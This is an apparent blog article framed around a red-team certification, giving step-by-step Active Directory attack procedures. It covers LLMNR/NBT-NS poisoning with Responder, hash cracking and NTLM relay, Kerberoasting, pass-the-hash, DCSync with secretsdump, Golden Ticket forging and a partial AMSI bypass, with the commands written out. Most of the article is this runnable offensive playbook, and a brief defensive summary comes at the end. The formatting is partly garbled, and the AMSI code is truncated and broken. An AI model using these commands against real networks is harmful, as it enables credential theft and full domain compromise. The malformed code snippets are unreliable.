Listen to this Post
Introduction:
The Certified Red Team Analyst (CRTA) certification represents a pinnacle of hands-on, adversarial cybersecurity training, focusing squarely on breaching modern corporate networks. At the heart of this discipline is attacking Active Directory (AD), the identity and access management backbone of most enterprises. This article deconstructs the core offensive techniques a red teamer must master, translating certification-level knowledge into actionable, technical procedures for understanding and defending against these critical threats.
Learning Objectives:
- Understand and replicate common initial access and privilege escalation vectors within an Active Directory environment.
- Execute key credential theft attacks like LLMNR/NBT-NS poisoning and Kerberoasting.
- Comprehend advanced post-exploitation techniques, including lateral movement and domain persistence via DCSync.
You Should Know:
1. Initial Foothold: Weaponizing LLMNR and NBT-NS Poisoning
When a system fails to resolve a hostname via DNS, it often falls back to the Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) protocols. These broadcast queries can be intercepted by any machine on the local network, allowing an attacker to pose as the intended target and harvest password hashes.
Step‑by‑step guide:
- Reconnaissance: The attacker first gains a presence on the internal network, often through a phishing payload or compromised edge device.
- Tool Setup: On a Linux attack machine, tools like `Responder` or `Inveigh` (Windows) are used to listen for and poison these protocols.
Launching Responder to poison LLMNR/NBT-NS and capture hashes sudo responder -I eth0 -dwv
- Hash Capture: When a victim machine (e.g., a user’s workstation) attempts to access a non-existent share (
\\fileserver\fake), the attacker’s tool responds, forcing the victim to authenticate. The resulting NTLMv2 hash is captured. - Cracking & Relay: The captured hash can be cracked offline using tools like `hashcat` or relayed to other systems using `ntlmrelayx` from the Impacket suite to execute commands on the target.
Cracking the captured hash with hashcat hashcat -m 5600 captured_hashes.txt /usr/share/wordlists/rockyou.txt Setting up an NTLM relay impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.10.10 -c "whoami"
-
Privilege Escalation: Exploiting Kerberoasting for Service Account Credentials
Kerberoasting targets service accounts within AD that use Kerberos authentication. Any domain user can request a Ticket Granting Service (TGS) ticket for these accounts, which is encrypted with the service account’s password hash. This hash can be cracked offline to compromise often-privileged accounts.
Step‑by‑step guide:
- Enumeration: First, discover user accounts with associated Service Principal Names (SPNs), which denote service accounts.
Windows command using PowerView Get-DomainUser -SPN | select samaccountname, serviceprincipalname
- Request Tickets: Request the TGS tickets for these accounts. This can be done from a compromised Windows host or directly from a Linux attack box.
Using Impacket's GetUserSPNs.py from Linux impacket-GetUserSPNs DOMAIN.LOCAL/standarduser:Password123 -dc-ip 10.10.10.1 -request
- Extract & Crack: The tool outputs the service account’s Kerberos hash (in `krb5tgs` format). This hash is saved to a file and cracked using
hashcat.hashcat -m 13100 kerberoast_hash.txt /usr/share/wordlists/rockyou.txt --force
- Lateral Movement: Use the cracked password to assume the identity of the service account, which may have higher privileges on specific servers or across the domain.
3. Lateral Movement: Pass-the-Hash and Overpass-the-Hash Attacks
Once an NTLM hash or Kerberos ticket is obtained, moving laterally without needing the plaintext password is crucial. Pass-the-Hash (PtH) uses the NTLM hash directly, while Overpass-the-Hash uses a Kerberos ticket.
Step‑by‑step guide for Pass-the-Hash:
1. Tool Selection: Use `CrackMapExec` or `Impacket` suites.
- Execute Command: Authenticate to a target machine using the compromised user’s hash.
Using CrackMapExec to execute a command via PtH crackmapexec smb 10.10.10.0/24 -u 'CompromisedUser' -H 'aad3b435b51404eeaad3b435b51404ee:579da618cfbfa85247acf1f800a280a4' -x 'whoami'
- Establish Foothold: If successful, use this access to deploy a persistent backdoor or extract more credentials from the new host.
4. Domain Dominance: Performing the DCSync Attack
The DCSync attack mimics the behavior of a Domain Controller (DC) to replicate password data, allowing an attacker to steal the password hashes of any user, including domain administrators, without needing code execution on a DC itself.
Step‑by‑step guide:
- Privilege Requirement: The attacker must have compromised an account with `Replicating Directory Changes` permissions (e.g., a member of `Domain Admins` or
Enterprise Admins). - Execution: Use the `secretdump.py` tool from Impacket to perform the DCSync.
DCSync to retrieve the NTLM hash for the Administrator account impacket-secretsdump DOMAIN.LOCAL/AdminUser:'Password!@'@10.10.10.1 -just-dc-user 'DOMAIN\Administrator'
- Golden Ticket Creation: With the `krbtgt` account’s hash (obtained via DCSync), an attacker can forge a Kerberos “Golden Ticket,” granting unlimited access to any resource in the domain.
Using Impacket's ticketer.py to create a Golden Ticket impacket-ticketer -nthash aad3b435b51404eeaad3b435b51404ee -domain-sid S-1-5-21-... -domain DOMAIN.LOCAL Administrator
- Persistence: The Golden Ticket can be injected into memory, providing persistent domain control even if all initial access points are lost.
-
Defense Evasion: Living Off the Land (LotL) and AMSI Bypass
A skilled red teamer avoids detection by using native system tools (LotL) likePowerShell,WMI, andBITSAdmin. To bypass the Anti-Malware Scan Interface (AMSI) in Windows, which scans PowerShell scripts, specific techniques are required.
Step‑by‑step guide for a Simple AMSI Bypass:
- Identify Context: When running a PowerShell offensive tool (e.g.,
Invoke-Mimikatz), AMSI will likely block it. - Execute Bypass: Prior to running the payload, execute a command to patch AMSI in memory. One common method is to force an AMSI initialization failure.
A common AMSI bypass string $Win32 = @" [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); "@ Add-Type $Win32 $ptr = [bash]::Zero ... (Specific memory patching code follows) ... - Execute Payload: With AMSI disabled for the session, the offensive tool can run undetected by signature-based AV/EDR that relies on AMSI.
What Undercode Say:
- The Adversary Mindset is Key: Certifications like CRTA succeed by forcing practitioners to think like determined attackers, moving beyond checkbox compliance to understand the exploit chain from reconnaissance to domain compromise.
- Defense is Found in the Attack Details: Each offensive step reveals a defensive control. Disabling LLMNR/NBT-NS, enforcing strong service account passwords (60+ chars) to nullify Kerberoasting, implementing robust credential guard, and strictly auditing replication rights are not optional—they are essential.
The technical walkthroughs above are not just attack guides but a blueprint for defenders. The future of cybersecurity hinges on this dual perspective. As AI begins to automate both attack pattern generation and defensive anomaly detection, the human element—the analyst who understands the why and how behind these commands—will remain the ultimate critical control. The next evolution will see AI-powered red and blue teams simulating and defending against these attacks at machine speed, making continuous, hands-on training more vital than ever.
▶️ Related Video (80% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Sai Nithin – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
